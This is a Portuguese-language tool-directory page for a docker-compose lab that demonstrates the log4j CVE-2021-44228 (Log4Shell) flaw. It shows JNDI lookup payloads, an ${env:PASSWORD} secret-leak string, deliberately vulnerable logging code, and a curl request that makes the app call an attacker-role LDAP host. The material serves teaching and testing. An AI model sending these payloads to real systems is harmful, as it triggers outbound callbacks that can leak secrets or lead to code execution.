Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4j-cve-2021-44228-sample — Exemplo de configuração docker-compose para mostrar como este exploit funciona | Kitploit
Ferramentas/GitHubGitHub/alpacamybags118/log4j-cve-2021-44228-sample
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubalpacamybags118/log4j-cve-2021-44228-sample

log4j-cve-2021-44228-sample

Exemplo de configuração docker-compose para mostrar como este exploit funciona

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
2há 4 anosAinda não revisado

Exemplo de exploit log4j

Este repositório contém um exemplo funcional de abuso da recente vulnerabilidade log4j. Ele não executa código remoto real, mas mostra a facilidade com que um ator malicioso pode fazer com que uma aplicação vulnerável chame seu próprio servidor ldap.

Este exemplo utiliza a excelente aplicação vulnerável de amostra log4j criada por christophetd: https://github.com/christophetd/log4shell-vulnerable-app

Explicação

Essa vulnerabilidade abusa da funcionalidade de lookup do log4j, especialmente o jndi, que permite que o log4j realize buscas em hosts externos para obter dados a serem inseridos. Isso pode ser explorado para fazer desde o registro de variáveis sensíveis do ambiente até a execução remota de código.

As buscas são realizadas para qualquer texto encapsulado em ${} quando o logger é chamado. Por exemplo,

root@kitploit:~
${jndi:ldap://someldapserver:1389/o=example}

realizaria uma consulta nesse servidor LDAP com a consulta fornecida e exibiria o resultado.

Um exemplo mais simples que não utiliza jndi, mas ainda assim perigoso:

root@kitploit:~
${env:PASSWORD}

Isso imprimiria o conteúdo dessa variável de ambiente nos logs. Alguém com acesso a esses logs poderia extrair dados sensíveis da aplicação.

Código log4j

O código no log4j para que esse exploit seja abusado é bastante direto. Você só precisa chamar o logger para registrar uma determinada propriedade da requisição sem sanitização. Por exemplo, você poderia registrar o conteúdo de um User-Agent.

root@kitploit:~
...
@GetMapping("/bad")
	public void Bad(@RequestHeader("User-Agent") String userAgent) {
    logger.info("Received User-Agent header " + userAgent);
	}

Usando este exemplo

Primeiro, construa o servidor ldap local:

root@kitploit:~
docker build -t ldapnode .

Depois de construído, inicie toda a pilha executando

root@kitploit:~
docker-compose up

Então, você pode fazer uma requisição para a aplicação, utilizando o cabeçalho x-api-version para injetar a consulta

root@kitploit:~
curl --request GET \
  --url http://localhost:8080/ \
  --header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'

Usando essa requisição, você verá nos logs do docker-compose que o servidor ldap foi chamado:

root@kitploit:~
bad_1    | ldap server has been called!
log4j_1  | 2021-12-14 02:43:11.657  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c

O que fazer se você for impactado

Consulte esta documentação para ver os caminhos de resolução.

Baixar ferramenta